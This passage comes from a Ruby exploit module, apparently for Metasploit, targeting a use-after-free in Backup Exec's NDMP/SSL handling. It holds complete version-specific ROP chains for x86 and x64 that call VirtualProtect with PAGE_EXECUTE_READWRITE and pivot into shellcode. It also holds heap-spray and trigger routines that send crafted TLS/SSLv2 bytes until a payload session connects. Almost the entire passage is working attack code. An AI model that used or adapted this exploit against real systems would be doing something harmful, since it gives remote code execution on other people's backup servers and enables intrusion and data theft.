          0xbe1c2f9, # pop r12; ret
765
          0xbe2ab32, # pop r8; ret
766
          0xbe2987c, # mov rcx, rax; call r12
767
          0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
768
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
769
          0,
770
          0,
771
          0,
772
          0,
773
          0xbe37f75, # push rax; pop rdi; ret
774
          0xbe43b25, # mov rcx, rsi; call r12
775
          0xbe01f72, # pop rax; ret
776
          0,
777
          0xbe3d250, # add rax, rcx; ret
778
          0xbe6949a, # push rax; pop r12; ret
779
          0xbe4f7ec, # pop r14; pop r13; ret
780
          0xbe2ab32, # pop r8; ret
781
          0,
782
          0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
783
          0xbe01f72, # pop rax; ret
784
          0xbe2ab32, # pop r8; ret
785
          0xbe36e8e, # mov rcx, rdi; call rax
786
          0xbe01a29, # ret
787
          0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
788
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
789
          0,
790
          0,
791
          0,
792
          0,
793
          0xbe37f75, # push rax; pop rdi; ret
794
          0xbe1c2f9, # pop r12; ret
795
          0xbe2ab32, # pop r8; ret
796
          0xbe43b25, # mov rcx, rsi; call r12
797
          0xbe399d0, # pop r13; ret
798
          1 << 31,
799
          0xbe33c3e, # mov rdx, r13; call r12
800
          0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
801
          0xbe399d0, # pop r13; ret
802
          0,
803
          0xbe33c3e, # mov rdx, r13; call r12
804
          0xbe2ab32, # pop r8; ret
805
          0x40,      # PAGE_EXECUTE_READWRITE
806
          0xbe01a29, # ret
807
          0xbe5180b, # jmp rdi
808
          0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
809
          0,
810
          0,
811
          0,
812
          0,
813
          0xbe63938  # push rsp; ret
814
        ]
815
        stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
816
        kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
817
        stage_3[17] = stage_3[3] + kernel32_dll.length
818
        stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
819
      elsif target.opts['Version'] == 15
820
        stage_3 = [
821
          0xbe68a34, # push rax; pop rbx; ret
822
          0xbe087c8, # pop rax; ret
823
          0,
824
          0xbe60dc0, # add rax, rcx; ret
825
          0xbe9b627, # mov rcx, rax; call r12
826
          0xbe4929d, # ret
827
          0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
828
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
829
          0,
830
          0,
831
          0,
832
          0,
833
          0xbe34c0c, # push rax; pop rbp; ret
834
          0xbefc534, # mov rcx, rbx; call r12
835
          0xbe087c8, # pop rax; ret
836
          0,
837
          0xbe60dc0, # add rax, rcx; ret
838
          0xbe9b627, # mov rcx, rax; call r12
839
          0xbefc526, # mov rdx, rcx; call r12
840
          0xbe9ad68, # mov rcx, rbp; call r12
841
          0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
842
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
843
          0,
844
          0,
845
          0,
846
          0,
847
          0xbe43269, # push rax; pop rsi; ret
848
          0xbefc534, # mov rcx, rbx; call r12
849
          0xbebd50e, # pop r13; ret
850
          0,
851
          0xbe97c4e, # mov rdx, r13; call r12
852
          0xbeae99d, # pop r8; ret
853
          0x40,      # PAGE_EXECUTE_READWRITE
854
          0xbe3c9c0, # test rdx, rdx; setne al; ret
855
          0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
856
          0xbe4929d, # ret
857
          0xbe9436d, # jmp rsi
858
          0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
859
          0,
860
          0,
861
          0,
862
          0,
863
          0xbe2184d, # pop rdi; ret
864
          0xbebd50e, # pop r13; ret
865
          0xbe9a8ac  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
866
        ]
867
        stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
868
        stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
869
        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
870
      elsif target.opts['Version'] == 16
871
        stage_3 = [
872
          0xbe4e888, # push rax; pop rbx; ret
873
          0xbe01f72, # pop rax; ret
874
          0,
875
          0xbe610f0, # add rax, rcx; ret
876
          0xbe9c70c, # mov rcx, rax; call r12
877
          0xbe01c2c, # ret
878
          0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
879
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
880
          0,
881
          0,
882
          0,
883
          0,
884
          0xbe12ed0, # pop rdi; ret
885
          0xbe45a01, # pop r13; ret
886
          0xbeaedb0, # mov rbp, rax; call rdi
887
          0xbe5851a, # mov rcx, rbx; call r12
888
          0xbe01f72, # pop rax; ret
889
          0,
890
          0xbe610f0, # add rax, rcx; ret
891
          0xbe9c70c, # mov rcx, rax; call r12
892
          0xbefe516, # mov rdx, rcx; call r12
893
          0xbe9bf28, # mov rcx, rbp; call r12
894
          0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
895
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
896
          0,
897
          0,
898
          0,
899
          0,
900
          0xbe433b9, # push rax; pop rsi; ret
901
          0xbe5851a, # mov rcx, rbx; call r12
902
          0xbe45a01, # pop r13; ret
903
          0,
904
          0xbe2e55e, # mov rdx, r13; call r12
905
          0xbe27c76, # pop r8; ret
906
          0x40,      # PAGE_EXECUTE_READWRITE
907
          0xbe3caf0, # test rdx, rdx; setne al; ret
908
          0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
909
          0xbe01c2c, # ret
910
          0xbe56cad, # jmp rsi
911
          0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
912
          0,
913
          0,
914
          0,
915
          0,
916
          0xbe12ed0, # pop rdi; ret
917
          0xbe45a01, # pop r13; ret
918
          0xbe9ba6c  # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
919
        ]
920
        stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
921
        stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
922
        stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
923
      end
924
    else
925
      if target.opts['Version'] == 14
926
        stage_3 = [
927
          0x63117dfa, # pop edi; ret
928
          0x63101514, # ret
929
          0x63116cc9, # pop esi; ret
930
          0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
931
          0x631017ff, # pop ebp; ret
932
          0x631213e6, # add esp, 0x20; ret
933
          0x63137a3c, # pushal; ret
934
          'KERN'.unpack('L<')[0],
935
          'EL32'.unpack('L<')[0],
936
          '.dll'.unpack('L<')[0],
937
          0,
938
          0x63117dfa, # pop edi; ret
939
          0x6311de4c, # pop edi; pop ebp; ret
940
          0x6311b614, # push eax; call edi
941
          0x63117dfa, # pop edi; ret
942
          0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
943
          0x63116cc9, # pop esi; ret
944
          0x631213e6, # add esp, 0x20; ret
945
          0x63137a3c, # pushal; ret
946
          'Virt'.unpack('L<')[0],
947
          'ualP'.unpack('L<')[0],
948
          'rote'.unpack('L<')[0],
949
          "ct\0\0".unpack('L<')[0],
950
          0x6314de45, # xchg eax, edi; ret
951
          0x6311db46, # push esp; pop esi; ret
952
          0x6311a398, # xchg eax, esi; ret
953
          0x63116cc9, # pop esi; ret
954
          0x6311f902, # pop ebx; pop ecx; ret
955
          0x63123d89, # push eax; call esi
956
          0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
957
          0x63101514, # ret
958
          0,
959
          0x631309f4, # pop edx; or al, 0xf6; ret
960
          0x40,       # PAGE_EXECUTE_READWRITE
961
          0x63117dfa, # pop edi; ret
962
          0x63101514, # ret
963
          0x6310185a, # pop eax; ret
964
          0x63139ec5, # push esp; ret
965
          0x63137a3c  # pushal; ret
966
        ]
967
        stage_3[31] = stage_4.length + 4
968
      elsif target.opts['Version'] == 15
969
        stage_3 = [
970
          0x6311e378, # pop edi; ret
971
          0x63101564, # ret
972
          0x631289b9, # pop esi; ret
973
          0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
974
          0x6310184f, # pop ebp; ret
975
          0x6313937d, # add esp, 0x20; ret
976
          0x6311c618, # pushal; ret
977
          'KERN'.unpack('L<')[0],
978
          'EL32'.unpack('L<')[0],
979
          '.dll'.unpack('L<')[0],
980
          0,
981
          0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
982
          0x6311e378, # pop edi; ret
983
          0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
984
          0x631289b9, # pop esi; ret
985
          0x6313937d, # add esp, 0x20; ret
986
          0x6311c618, # pushal; ret
987
          'Virt'.unpack('L<')[0],
988
          'ualP'.unpack('L<')[0],
989
          'rote'.unpack('L<')[0],
990
          "ct\0\0".unpack('L<')[0],
991
          0x631289b9, # pop esi; ret
992
          0x631018aa, # pop eax; ret
993
          0x63198446, # mov edi, eax; call esi
994
          0x63137496, # push esp; pop esi; ret
995
          0x6312c068, # xchg eax, esi; ret
996
          0x631289b9, # pop esi; ret
997
          0x6315c407, # pop ebx; pop ecx; ret
998
          0x63189809, # push eax; call esi
999
          0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1000
          0x63101564, # ret
1001
          0,
1002
          0x63156a54, # pop edx; or al, 0xf6; ret
1003
          0x40,       # PAGE_EXECUTE_READWRITE
1004
          0x6311e378, # pop edi; ret
1005
          0x63101564, # ret
1006
          0x631018aa, # pop eax; ret
1007
          0x6311c638, # push esp; ret
1008
          0x6311c618  # pushal; ret
1009
        ]
1010
        stage_3[31] = stage_4.length + 4
1011
      elsif target.opts['Version'] == 16
1012
        stage_3 = [
1013
          0x6311e3c0, # pop edi; ret
1014
          0x63101564, # ret
1015
          0x63128a39, # pop esi; ret
1016
          0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
1017
          0x6310184f, # pop ebp; ret
1018
          0x631394ad, # add esp, 0x20; ret
1019
          0x6311c69c, # pushal; ret
1020
          'KERN'.unpack('L<')[0],
1021
          'EL32'.unpack('L<')[0],
1022
          '.dll'.unpack('L<')[0],
1023
          0,
1024
          0x6311e3c0, # pop edi; ret
1025
          0x631018aa, # pop eax; ret
1026
          0x6319959f, # mov ebp, eax; call edi
1027
          0x6311e3c0, # pop edi; ret
1028
          0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
1029
          0x63128a39, # pop esi; ret
1030
          0x631394ad, # add esp, 0x20; ret
1031
          0x6311c69c, # pushal; ret
1032
          'Virt'.unpack('L<')[0],
1033
          'ualP'.unpack('L<')[0],
1034
          'rote'.unpack('L<')[0],
1035
          "ct\0\0".unpack('L<')[0],
1036
          0x63128a39, # pop esi; ret
1037
          0x631018aa, # pop eax; ret
1038
          0x631993e6, # mov edi, eax; call esi
1039
          0x631375e6, # push esp; pop esi; ret
1040
          0x6312c0e8, # xchg eax, esi; ret
1041
          0x63128a39, # pop esi; ret
1042
          0x63133031, # pop ebx; pop ecx; ret
1043
          0x6314a34a, # push eax; call esi
1044
          0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1045
          0x63101564, # ret
1046
          0,
1047
          0x63157084, # pop edx; or al, 0xf6; ret
1048
          0x40,       # PAGE_EXECUTE_READWRITE
1049
          0x6311e3c0, # pop edi; ret
1050
          0x63101564, # ret
1051
          0x631018aa, # pop eax; ret
1052
          0x63134eb6, # push esp; ret
1053
          0x6311c69c  # pushal; ret
1054
        ]
1055
        stage_3[33] = stage_4.length + 4
1056
      end
1057
      stage_3 = stage_3.pack('L<*') + stage_4
1058
    end
1059

1060
    if target.opts['Arch'] == ARCH_X64
1061
      if target.opts['Version'] == 14
1062
        stage_2 = [
1063
          0xbe40d1d, # pop r12; pop rsi; ret
1064
          0xbe1bca3, # pop r12; pop rbx; ret
1065
          0xbe399d0, # pop r13; ret
1066
          0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
1067
          0xbe501a7, # mov rcx, rbx; call rsi
1068
          0xbe01f72, # pop rax; ret
1069
          0,
1070
          0xbe3d250, # add rax, rcx; ret
1071
          0xbe37f75, # push rax; pop rdi; ret
1072
          0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
1073
          0xbe24263, # mov rax, qword ptr [rax + 8]; ret
1074
          0xbe1b055, # pop rbx; ret
1075
          0xfffffffffffff000,
1076
          0xbe501a7, # mov rcx, rbx; call rsi
1077
          0xbe3d250, # add rax, rcx; ret
1078
          0xbe1c2f9, # pop r12; ret
1079
          0xbe2ab32, # pop r8; ret
1080
          0xbe2987c, # mov rcx, rax; call r12
1081
          0xbe1b055, # pop rbx; ret
1082
          0xbe2ab32, # pop r8; ret
1083
          0xbe45935, # mov rdx, rdi; call rbx
1084
          0xbe01a29, # ret
1085
          0xbe2ab32, # pop r8; ret
1086
          0,
1087
          0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
1088
          0xbe2987c, # mov rcx, rax; call r12
1089
          0xbe1cfc0  # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
1090
        ]
1091
      elsif target.opts['Version'] == 15
1092
        stage_2 = [
1093
          0xbe1e18e, # pop r12; pop rdi; ret
1094
          0xbebd50e, # pop r13; ret
1095
          0xbebc3fd, # pop r14; pop rbp; ret
1096
          0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1097
          0xbe9ad68, # mov rcx, rbp; call r12
1098
          0xbe087c8, # pop rax; ret
1099
          0,
1100
          0xbe60dc0, # add rax, rcx; ret
1101
          0xbe43269, # push rax; pop rsi; ret
1102
          0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
1103
          0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
1104
          0xbe1d923, # pop r12; pop rbx; ret
1105
          0xfffffffffffff000,
1106
          0xbe27c76, # pop r8; ret
1107
          0xbe45511, # mov rcx, r12; call rbx
1108
          0xbe60dc0, # add rax, rcx; ret
1109
          0xbe1df29, # pop r12; ret
1110
          0xbe27c76, # pop r8; ret
1111
          0xbe9b54c, # mov rcx, rax; call r12
1112
          0xbe01f72, # pop rax; ret
1113
          0xbe27c76, # pop r8; ret
1114
          0xbe4164c, # mov rdx, rsi; call rax
1115
          0xbeae99d, # pop r8; ret
1116
          0,
1117
          0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
1118
          0xbe9b627, # mov rcx, rax; call r12
1119
          0xbeeb621  # push rcx; pop rsp; ret
1120
        ]
1121
      elsif target.opts['Version'] == 16
1122
        stage_2 = [
1123
          0xbe1e18e, # pop r12; pop rdi; ret
1124
          0xbe45a01, # pop r13; ret
1125
          0xbe2a433, # pop r14; pop rbp; ret
1126
          0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1127
          0xbe9bf28, # mov rcx, rbp; call r12
1128
          0xbe01f72, # pop rax; ret
1129
          0,
1130
          0xbe610f0, # add rax, rcx; ret
1131
          0xbe433b9, # push rax; pop rsi; ret
1132
          0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
1133
          0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
1134
          0xbe1d923, # pop r12; pop rbx; ret
1135
          0xfffffffffffff000,
1136
          0xbe27c76, # pop r8; ret
1137
          0xbe45681, # mov rcx, r12; call rbx
1138
          0xbe610f0, # add rax, rcx; ret
1139
          0xbe1df29, # pop r12; ret
1140
          0xbe27c76, # pop r8; ret
1141
          0xbe9c70c, # mov rcx, rax; call r12
1142
          0xbe01f72, # pop rax; ret
1143
          0xbe27c76, # pop r8; ret
1144
          0xbe4179c, # mov rdx, rsi; call rax
1145
          0xbe27c76, # pop r8; ret
1146
          0,
1147
          0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
1148
          0xbe9c70c, # mov rcx, rax; call r12
1149
          0xbeed611  # push rcx; pop rsp; ret
1150
        ]
1151
      end
1152
      stage_2[6] = (stage_2.length - 4) * 8
1153
      stage_2[23] = stage_3.length
1154
      stage_2 = stage_2.pack('Q<*') + stage_3
1155
    else
1156
      if target.opts['Version'] == 14
1157
        stage_2 = [
1158
          0x63143720, # mov eax, dword ptr fs:[0x18]; ret
1159
          0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
1160
          0x63129b75, # pop edi; pop ecx; ret
1161
          0xfffffff0,
1162
          0x100000000 - 0x2000,
1163
          0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
1164
          0x63129b75, # pop edi; pop ecx; ret
1165
          0x6310185a, # pop eax; ret
1166
          0,
1167
          0,
1168
          0,
1169
          0x63133912, # add eax, ecx; ret
1170
          0x63152ded, # mov ebx, eax; call esi
1171
          0x631309f4, # pop edx; or al, 0xf6; ret
1172
          0x6314cfa1, # xchg eax, esp; ret
1173
          0x6311db46, # push esp; pop esi; ret
1174
          0x6310185a, # pop eax; ret
1175
          0x6310185a, # pop eax; ret
1176
          0x631171d2, # mov ecx, esi; call eax
1177
          0x6310185a, # pop eax; ret
1178
          0,
1179
          0x63133912, # add eax, ecx; ret
1180
          0x631257f4, # push ebx; call edi
1181
          0x631546eb, # pop edi; ret
1182
          0x631543cb, # pop ebp; pop esi; pop edi; ret
1183
          0x63116faf, # pop ebx; ret
1184
          0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
1185
          0x6315dde0, # cld; ret
1186
          0x63137a3c, # pushal; ret
1187
          0
1188
        ]
1189
        stage_2[20] = (stage_2.length - 16) * 4
1190
        stage_2[29] = stage_3.length
1191
      elsif target.opts['Version'] == 15
1192
        stage_2 = [
1193
          0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
1194
          0x6312e404, # mov eax, dword ptr [eax + 4]; ret
1195
          0x6313031d, # pop ebp; pop ecx; ret
1196
          0x100000000 - 0x2000,
1197
          0xfffffff0,
1198
          0x6316c73a, # and eax, ecx; pop esi; ret
1199
          0x6315c407, # pop ebx; pop ecx; ret
1200
          0x63192b17, # add eax, ebp; ret
1201
          0x63189809, # push eax; call esi
1202
          0x63156a54, # pop edx; or al, 0xf6; ret
1203
          0x6312c933, # xchg eax, esp; ret
1204
          0x63137496, # push esp; pop esi; ret
1205
          0x6314172a, # pop eax; ret
1206
          0,
1207
          0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
1208
          0x63156dd8, # pop edi; pop ebp; pop esi; ret
1209
          0,
1210
          0,
1211
          0x631729cd, # pop ebx; ret
1212
          0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
1213
          0x6311e250, # cld; ret
1214
          0x6311c618, # pushal; ret
1215
          0
1216
        ]
1217
        stage_2[13] = (stage_2.length - 12) * 4
1218
        stage_2[22] = stage_3.length
1219
      elsif target.opts['Version'] == 16
1220
        stage_2 = [
1221
          0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
1222
          0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
1223
          0x63128afc, # pop ecx; ret
1224
          0xfffffff0,
1225
          0x6316d13a, # and eax, ecx; pop esi; ret
1226
          0x63133031, # pop ebx; pop ecx; ret
1227
          0x63128afc, # pop ecx; ret
1228
          0x100000000 - 0x2000,
1229
          0x63142860, # add eax, ecx; ret
1230
          0x6314a34a, # push eax; call esi
1231
          0x63157084, # pop edx; or al, 0xf6; ret
1232
          0x6311c6c0, # xchg eax, esp; ret
1233
          0x631375e6, # push esp; pop esi; ret
1234
          0x631018aa, # pop eax; ret
1235
          0,
1236
          0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
1237
          0,
1238
          0x63157408, # pop edi; pop ebp; pop esi; ret
1239
          0x63157408, # pop edi; pop ebp; pop esi; ret
1240
          0,
1241
          0,
1242
          0x63181046, # sub eax, ecx; pop ebx; ret
1243
          0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
1244
          0x6311e298, # cld; ret
1245
          0x6311c69c, # pushal; ret
1246
          0
1247
        ]
1248
        stage_2[14] = (stage_2.length - 13) * 4
1249
        stage_2[25] = stage_3.length
1250
      end
1251
      stage_2 = stage_2.pack('L<*') + stage_3
1252
    end
1253

1254
    stage_2 + rand_text(stage_2.length & 1)
1255
  end
1256

1257
  #
1258
  # Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
1259
  #
1260
  def attempt_triggers(s, spray_socks, spray_msg)
1261
    datastore['NumTriggerAttempts'].times do |x|
1262
      print_status('Spraying stage 1...')
1263
      (1..2).each do |phase|
1264
        spray_socks.each do |ss|
1265
          if phase == 1
1266
            return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
1267
            return true if @payload_connected || session_created?
1268
          else
1269
            50.times do
1270
              return false unless ss.read_ndmp_msg(spray_msg.header.type)
1271
              return true if @payload_connected || session_created?
1272
            end
1273
          end
1274
        end
1275
      end
1276
      sleep(1)
1277
      return true if @payload_connected || session_created?
1278

1279
      # Send a certain amount of data per trigger attempt so that stage 1 will always end
1280
      # up jumping into the TLS/SSLv2 record at an expected location. The general idea is
1281
      # that the first write will complete Backup Exec's first recv operation, the second
1282
      # fills the buffer back up to an 8/4-byte aligned position, and the rest moves
1283
      # through the retsled
1284
      print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
1285
      trigger = if target.opts['Version'] == 14
1286
        if x == 0
1287
          # A maximum of 5 bytes are always read at first, so just send them all at once
1288
          "\x16\x03\x01\x10\x00"
1289
        elsif x == 1
1290
          # Skip over TLS header structure
1291
          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
1292
        else
1293
          # Skip over a ROP NOP
1294
          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1295
        end
1296
      else
1297
        if x == 0
1298
          # A maximum of 11 bytes are always read at first, so just send them all at once
1299
          "\x90\x00\x01\x03\x03" + rand_text(11 - 5)
1300
        elsif x == 1
1301
          # Skip over SSLv2 header structure
1302
          rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
1303
        else
1304
          # Skip over a ROP NOP
1305
          rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1306
        end
1307
      end
1308
      return false unless s.raw_sendall(trigger, 0)
1309
      sleep(1)
1310
      return true if @payload_connected || session_created?
1311
    end
1312

1313
    nil
1314
  end
1315

1316
  #
1317
  # Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
1318
  # use-after-free in a race.
1319
  #
1320
  # For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
1321
  # This is because these versions of Windows overwrite the start of freed objects on the
1322
  # heap with the next offset in the freelist. We need to then overwrite this with our
1323
  # stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
1324
  # struct's read callback upon re-entering SSL mode. This is less successful than the
1325
  # Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
1326
  # still works OK.
1327
  #
1328
  def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
1329
    print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
1330
    do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
1331
      unless is_pre
1332
        200.times do
1333
          spray_socks.each do |ss|
1334
            ss.prepare_and_write_ndmp_msg(spray_msg, 200)
1335
            return true if @payload_connected || session_created?
1336
          end
1337
        end
1338
      end
1339
    end
1340
    sleep(1)
1341

1342
    @payload_connected || session_created?
1343
  end
1344
end
1345

1346